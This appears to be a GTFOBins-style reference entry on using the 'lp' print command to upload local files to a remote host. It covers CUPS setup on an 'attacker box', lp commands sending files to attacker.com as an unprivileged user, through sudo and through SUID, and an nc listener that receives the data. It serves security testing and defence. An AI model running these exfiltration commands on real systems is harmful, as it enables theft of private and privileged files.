Upload

This executable can upload local data.
  1. Comment

    This requires cups to be installed. Run the following on the attacker box beforehand:

    1. lpadmin -p printer -v socket://localhost -E to create a virtual printer;
    2. lpadmin -d printer to set the new printer as default;
    3. cupsctl --remote-any to enable printing from the Internet.
    This function can be performed by any unprivileged user.
    lp /path/to/input-file -h attacker.com
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    lp /path/to/input-file -h attacker.com
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    lp /path/to/input-file -h attacker.com
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 9100 >/path/to/output-file